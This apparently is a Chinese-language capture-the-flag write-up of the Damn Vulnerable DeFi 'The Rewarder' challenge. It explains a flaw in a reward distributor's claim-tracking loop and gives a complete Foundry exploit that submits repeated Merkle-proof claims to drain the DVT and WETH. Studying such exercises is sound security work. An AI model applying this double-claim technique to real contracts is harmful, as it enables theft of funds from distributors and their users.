A contract is distributing rewards of Damn Valuable Tokens and WETH.
To claim rewards, users must prove they’re included in the chosen set of beneficiaries. Don’t worry about gas though. The contract has been optimized and allows claiming multiple tokens in the same transaction.
Alice has claimed her rewards already. You can claim yours too! But you’ve realized there’s a critical vulnerability in the contract.
Save as much funds as you can from the distributor. Transfer all recovered assets to the designated recovery account.
按照題目敘述,這一題跟閃電貸沒有關係,而是獎勵空投,身為一名磚業的炒幣仔,獎勵空投簡直就是在晚上躺在公園長椅上的小確幸,為我的爆倉生活帶來了一絲希望
好的扯遠了,這一題要我們做的就是從合約中轉走 DVT 和 WETH,那既然是要轉走,我們當然是要找到所有可以轉移代幣的地方,那我們就可以找到以下 clean
跟 claimRewards
這個兩個 function,至於判別的方法就是他們都有使用 transfer
但是經過分析,clean
只能轉移代幣給擁有者,而那個擁有者是我們沒辦法變更的,所以我們只能把希望放在 claimRewards
上
for (uint256 i = 0; i < inputClaims.length; i++) {
inputClaim = inputClaims[i];
uint256 wordPosition = inputClaim.batchNumber / 256;
uint256 bitPosition = inputClaim.batchNumber % 256;
if (token != inputTokens[inputClaim.tokenIndex]) {
if (address(token) != address(0)) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
token = inputTokens[inputClaim.tokenIndex];
bitsSet = 1 << bitPosition; // set bit at given position
amount = inputClaim.amount;
} else {
bitsSet = bitsSet | 1 << bitPosition;
amount += inputClaim.amount;
}
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
_setClaimed
函數通常在智能合約中用來記錄某個狀態被標記為「已經完成」或「已經領取」,理論上我們不能再做領取。所以這個合約看似利用了這個函數來讓這個合約天衣無縫,但是這個 function 的開頭使用了 if (address(token) != address(0))
,代表在這個 for 迴圈第一次執行的時候絕對不會將該代幣標記為已領取
其次,當我們的 inputClaims.token
中的第 (i+1) 個代幣與第 i 個不同時,它會錯誤地將第 i 個代幣標記為已領取,而不是正確的第 (i+1) 個,這讓我們可以多次領取代幣。
經過上面的分析,我們需要利用 claimeRewards
重複提交領取請求
那需要做的事情如下:
claimeRewards
轉移資金function test_theRewarder() public checkSolvedByPlayer {
console.log("player address:", player);
console.log("Alice address:", alice);
uint256 WETH_CLAIMABLE = 1171088749244340;
uint256 DVT_CLAIMABLE = 11524763827831882;
bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
uint256 dvtTxCount = TOTAL_DVT_DISTRIBUTION_AMOUNT / DVT_CLAIMABLE;
uint256 wethTxCount = TOTAL_WETH_DISTRIBUTION_AMOUNT / WETH_CLAIMABLE;
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
Claim[] memory claims = new Claim[](dvtTxCount+wethTxCount);
for (uint256 i = 0; i < dvtTxCount; i++) {
claims[i] = Claim({
batchNumber: 0,
amount: DVT_CLAIMABLE,
tokenIndex: 0,
proof: merkle.getProof(dvtLeaves, 188)
});
}
for (uint256 i = dvtTxCount; i < dvtTxCount+wethTxCount; i++) {
claims[i] = Claim({
batchNumber: 0,
amount: WETH_CLAIMABLE,
tokenIndex: 1,
proof: merkle.getProof(wethLeaves, 188)
});
}
distributor.claimRewards({
inputClaims: claims,
inputTokens: tokensToClaim
});
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
結果下貓咪跟廢文的處理一天抵2天 = =
那我真的要這樣下了😠
每日梗圖(1/1)